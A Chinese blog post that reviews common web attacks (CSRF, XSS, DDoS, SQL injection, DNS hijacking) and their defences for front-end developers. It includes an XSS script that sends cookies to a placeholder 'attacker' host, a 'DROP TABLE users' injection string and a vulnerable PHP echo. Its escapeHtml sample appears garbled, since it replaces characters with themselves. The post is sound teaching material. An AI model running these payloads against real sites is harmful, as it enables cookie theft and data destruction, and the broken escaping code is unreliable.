共计 6266 个字符，预计需要花费 16 分钟才能阅读完成。
引言：转前端一年了，期间工作较忙，也没时间整理一些知识体系，此系列文章是对前端基础的一些回顾与总结。本文主要总结一下前端需要关注的 web 安全。
一、CSRF
1. 概念
CSRF(Cross Site Request Forgery, 跨站请求伪造)攻击是一种依赖 web 浏览器的、被混淆过的代理人攻击，通过伪装来自受信任用户的请求来利用受信任的网站，造成个人隐私泄露及财产安全
2. 攻击原理
step1: 客户端向网站 A 发起了通信请求
step2: 网站 A 验证通过，并建立了通信连接，在客户端保存了 A 的 cookie.
step3: 客户端在未关闭与 A 的连接的情况下访问了网站 B.
step4: 网站 B 含有恶意请求代码，要求向网站 A 发起请求.
step5：客户端根据 B 发起的请求并携带已保存的网站 A 的 cookie 访问网站 A.
step6: 网站 A 验证 cookie 并处理了这个请求.
于是，网站 B 就通过盗用保存在客户端的 cookie，以客户端的身份来访问网站 A，做一些诸如：发送信息，邮件，盗取账户，财产等违法操作。上面说的是狭义的 csrf，其实广义的 csrf 是指准确的猜测出你的请求参数，然后构造出一个合法的请求去进行 curd，实际上不一定依赖于浏览器，但它的前提是要找到 xss 漏洞。
3. 如何防范
防范 csrf 的根本方法是有效辨别请求是否来源于正常的用户。可以通过 token、referer、验证码 来判断：
1)token
token 的原理是：使用存放在 cookie 或者前端某处的某个值，通过约定的方法加密成一串字符串，作为参数传递给后台，后台根据同样的算法加密，对比 2 个值是否相等。一般来说是在 cookie 里放一个 token，由于同源策略，伪造者无法获取 cookie 里面的信息，所以即使知道了算法，也构造不出校验串。
在标签加入 token：
<meta content=”_csrf” name=”csrf-param”>
<meta content=”6eEHcEur-Q-CoC0eMc3GIRofusFMhD6fYr4Y” name=”csrf-token”>
在表单加入 token:
<input type=”hidden” name=”csrf_token” value=”<? echo $token;?>”>
2）referer
通过请求头中的 referer 字段判断请求的来源，但这种方式不太保险，因为 referer 有可能被伪造。
3) 验证码
在一些很敏感的 curd 操作中，可以做验证码校验。在现有技术下，破解一个验证码是有一定难度的，比如 12306 的地狱级验证码。但是考虑到用户体验，这种较为安全的校验方式需要合理地使用。
4）其他预防手段：
尽量不要在页面的链接中暴露用户隐私信息.
尽量使用 post 进行表单提交.
避免全站通用的 cookie，严格设置 cookie 的域.
现在业界内大多数的防 csrf 的方案都是 token+referer。但 token 是在 cookie 没有被盗取的前提下才有安全性，而 referer 也并不难伪造，所以，即使做好了 csrf，如果网站存在 XSS 漏洞，被攻击者盗用了 cookie 信息，那么，token+referer 的防范手段将形同虚设。
二、XSS
1. 概念：
跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击 Web 网站的方法。攻击者可以在网页上发布包含攻击性代码的数据，当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。通过 XSS 可以比较容易地修改用户数据、窃取用户信息以及造成其它类型的攻击。
2. 攻击原理:
XSS 的本质就是在用户的浏览器执行一段恶意的 JS 代码，其攻击方式大致可以分为 3 类，我们假设攻击代码是为了盗取我们的 cookie 信息：
// 攻击代码
<script>
window.location=’http://attacker/?cookie=’+document.cookie;
</script>
而我们服务器和前端未做 XSS 防范，直接拿取链接中的参数，显示到页面：
<?php
echo‘Hi,’. $_GET[‘name’];
?>
1）反射型：
反射型是指恶意代码来自用户的请求。
反射型的 xss 需要诱使用户主动点击攻击者伪造的链接，发起请求，最终将恶意代码在浏览器运行。
2）存储型：
存储型是指恶意代码来自网站数据库，攻击者通过网站的输入途径，比如评论，将恶意代码存入数据库。然后其他用户访问这个页面，就会执行这段代码。从而收到攻击。
3) 本地和 DOM 型
DOM XSS 是存储型 XSS 和 反射型 XSS 的变种。就是将攻击脚本注入到 DOM 结构里的攻击手法，在 DOM XSS 攻击中，一直到页面运行了 JavaScript，恶意字符串才被实际的解析。
随着 WEB 应用越来越高级，越来越多的 HTML 是在客户端通过 JavaScript 生成而不是在服务端生成。任何时候不刷新整个页面，需要更新内容，就必须通过 JavaScript 进行。值得注意的是，AJAX 请求后更新页面就是这样的例子。也就是说，XSS 漏洞不仅可以出现在网站服务端代码，还可能出现在客户端 JavaScript 代码中。结果就是，即使服务端代码完全没问题，在页面加载完成后，客户端代码还是可能在 DOM 更新中不安全的包含了用户输入。一旦发生，客户端代码就存与服务端无关的 XSS 漏洞
3. 如何防御：
1）基本思路：
输入 / 输出的转义编码、过滤
白名单策略
2）具体手段：
XSS 是有很多奇淫技巧的，防范手段也是见仁见智。这里我只说几种常见的防范方法：
对 < , ‘ , ” , / , > , & 字符的过滤
function escapeHtml(string) {
return string
.replace(/&/g, ‘&’)
.replace(/</g, ‘<’)
.replace(/>/g, ‘>’)
.replace(/”/g, ‘"’)
.replace(/’/g, ‘'’)
.replace(/\//g, ‘/’)
}
实体化转义和反转义
function htmlEncode(html) {
var sub = document.createElement(‘div’);
sub.textContent != null ? sub.textContent = html : sub.innerText = html;
var output = sub.innerHTML;
sub = null;
return output;
}
function htmlDecode(text) {
var sub = document.createElement(‘div’);
sub.innerHTML = text;
var output = sub.textContent || sub.innerText;
sub = null;
return output;
}
输入校验、过滤
输入的信息一般都需要符合一定的规范，比如说字符类型，字符长度等，可以在入库或者提交之前对输入信息进行校验和过滤。这里的方法就太多了，具体业务具体分析
CSP 安全策略
CSP 用来限制浏览器 viewing your page 保证其只能使用从可信任的源下载的资源。资源可以是脚本、样式表、图片或是页面引用的其它类型文件。也就是说，即使攻击者成功在网站中注入了恶意代码，CSP 可以防止其被执行
CSP 可以用来强制实施下面的规则：
No untrusted sources：外部资源只能从一个明确定义的可信源集合中加载
No inline resources：不执行行内（inline）JavaScript 和 CSS
No eval：不可以使用 JavaScript 函数 eval
如何启用？
默认情况下，浏览器不强制使用 CSP。为了给网站开启 CSP，响应中要带上额外的 HTTP 头：Content-Security-Policy。如果浏览器支持 CSP，那么所有带有这一 HTTP 头的页面都会遵守 CSP。
具体的 CSP 语法可参考：CSP
4. 防范意识很重要：
在现代的前端和后端框架中，一般都会内置对于 XSS 的过滤功能，比如 vue 的 {{}} 就对输出的内容进行了实体转换。作为一名开发人员，最重要的是有防范 XSS 的意识，编码的过程中要思考一下这个输入是否会造成网站安全。
三、DDOS
1. 概念：
DDOS(分布式拒绝服务)是以通过某种手段，致使网站的某个环节崩溃或者瘫痪，从而使网站无法正常运行为目的的一些攻击手段的总称。比较常见的就是通过一些“肉鸡”无间断的大量发送请求，使目标服务器超出负荷，从而崩溃瘫痪。
近期比较有影响力的 DDOS 攻击事件就是著名的博客作者，前端布道者 - 阮一峰老师的博客被 ddos 攻击，博客下线了 50 个小时。
2. 一些防范手段：
1）对恶意请求的拦截：
我们可以使用一些策略，对一些明显的恶意请求进行拦截：
硬件防火墙：Web 服务器的前面可以架设硬件防火墙，过滤请求，但是成本较高
本机防火墙：如 linux 的 iptables
web 服务器过滤：apache 和 nginx 都能够过滤一些请求
但是这种过滤的前提是 ddos 的攻击有一定的规律可循，但是一般来说，高级的 ddos 往往是伪装成一个合法的请求，难以识别。
2）带宽扩容：
最有效的方法就是，有足够的带宽去应对这些 ddos 请求，但是这样的成本较高。目前大多数服务器运营商都提供了防 ddos 的方案，其原理是，平时会有大量的冗余带宽待命，遭到攻击时就将请求分流到冗余带宽，使服务器不至于崩溃。
3）CDN：
cdn 能有效的保证请求的稳定性，因为请求并不是直接请求服务器，而是现在 cdn 里找，找不到再由 cdn 去缘服务器上找。另一方面，cdn 的服务器不止一台，能有效的做分流。
4）网站备份：
在遭受攻击后，如果之前备份了网站，那可以先使用备份网站，不至于整个业务停止。
ps：发起 DDOS 也是需要很高成本的，一般来说，普通的网站基本不会有这种待遇。
四、SQL 注入
1. 简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。
带来的危害：
猜解后台数据库，盗取网站的敏感信息。
绕过认证，列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作
2. 攻击原理
假设有个链接请求是这样的：
www.a.com/query?userId=123
功能是查询 userId 为 123 的用户出来，这个请求到我们服务端最后 sql 语句是这样：
select * from users where userid=123
那如果我们没对用户输入做校验，用户输入了一个这样的字符串
123; DROP TABLE users;
那我们最后执行的 sql 就变成了
select * from users where userid=123; DROP TABLE users;
然后，你就可以跑路了，因为库已经被删了。（手动滑稽）
从上面的例子，我们可以看出 sql 的攻击原理，其本质就是通过构建特殊的输入作为参数传入 Web 应用程序，而这些输入大都是 SQL 语法里的一些组合，通过执行 SQL 语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
3. 如何防护：
最重要的一个原则就是：永远不要相信外来的输入！具体可以这么做：
对输入的数据做校验，过滤，转义。
避免动态拼接 sql 语句。
不要把机密信息直接存放，加密或者 hash 掉密码和敏感的信息
应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
采取辅助软件或网站平台来检测 SQL，如：jsky，MDCSOFT SCAN 等
五、DNS 劫持
1. 什么是 DNS 劫持？
DNS 劫持就是通过劫持了 DNS 服务器，通过某些手段取得某域名的解析记录控制权，进而修改此域名的解析结果，导致对该域名的访问由原 IP 地址转入到修改后的指定 IP，其结果就是对特定的网址不能访问或访问的是假网址，从而实现窃取资料或者破坏原有正常服务的目的。
2. 攻击原理：
1) DNS 解析过程：
step1: 客户机输入域名(以百度为例):www.baidu.com，系统会先检查自己的本地 hosts 文件中是否有这个网址映射关系，若有进入 step2，若无，则查找本地 DNS 解析器缓存，有则进入 step2，无则进入 step3。
step2: 缓存或 hosts 文件返回 IP 地址映射关系，并完成域名解析.
step3：查询本地服务器，若查询的域名在本地区域资源中（具有权威性）或区域服务器中有该域名缓存（不具权威性），则进入 step10，否则进入 step4.
step4：本地 DNS 服务器向 13 台根 DNS 服务器发起请求
step5：根服务器判断域名 (.com) 属于哪台 GTLD 服务器管理，并返回 GTLD 服务器 IP
step6：本地 DNS 服务器向 GTLD 服务器发起请求.
step7：(.com)GTLD 服务器返回域名 (www.baidu.com) 的主机 IP 给本地 DNS 服务器.
step8: 本地 DNS 服务器像 (www.baidu.com) 目的主机发送请求.
step9: 目的主机 (www.baidu.com) 返回主机 IP 给本地 DNS 服务器.
step10: 本地 DNS 服务器返回目的主机 IP 给客户机，完成解析.
2）DNS 劫持
是不是发现了？你访问的网址会失去响应或者跳到别的恶意网站，是不是会怀疑自己访问的是个假网址？哈哈..
DNS 劫持一方面可能影响用户的正常体验，用户被引到假冒的网站进而无法正常浏览网页。用户量较大的网站域名被劫持后恶劣影响会不断扩大，用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据.
3. 如何防御:
1）在被劫持后：
修改域名服务商和邮箱密码，定期更换复杂度高的密码.
删除无用的 DNS 解析, 恢复 DNS 设置，关闭域名的泛解析.
排查网站代码，清除垃圾页面.
收集非法添加的页面并设置 404, 使用百度站长工具提交死链.
若使用的是第三方 DNS 服务，则立即修改第三方 DNS 服务端账户密码，锁定账户信息, 开启邮件或短信提醒.
更换服务商.
2）如何预防：
为域名注册商和注册用邮箱设置复杂密码且经常更换.
将域名更新设置为锁定状态，不允许通过 DNS 服务商网站修改记录，使用此方法后，需要做域名解析都要通过服务商来完成，时效性较差。
定期检查域名帐户信息、域名 whois 信息，査看事件管理器，清理 Web 网点中存在的可疑文件.
加强网站的防 SQL 注入功能，SQL 注入是利用 SQL 语句的特点向数据库写内容，从而获取到权限的方法.
设置 Web 站点文件夹及文件操作权限.
利用事务签名对区域传送和区域更新进行数字签名.
删除运行在 DNS 服务器上的不必要服务.
在网络外围和 DNS 服务器上使用防火墙服务.
相信做好以上几点，DNS 劫持是很难发生啦~
五、总结：
作为 web 前端开发人员，一定要有安全意识，虽然大部分用户都是善良的，但是也要防范于未然。不然被攻击了，那可就劳民又伤财了。说不定还得拿起包袱走人。俗话说，最怕有心算无心，关于安全，本文所讲到的只是常见的一些攻击手段，江湖上的奇淫技巧数不胜数，建议有时间还是深入研究一下。
参考文章 https://zoumiaojiang.com/arti…https://www.cnblogs.com/vajoy…https://juejin.im/entry/58bad…https://segmentfault.com/a/11…https://developer.mozilla.org…https://www.jianshu.com/p/078…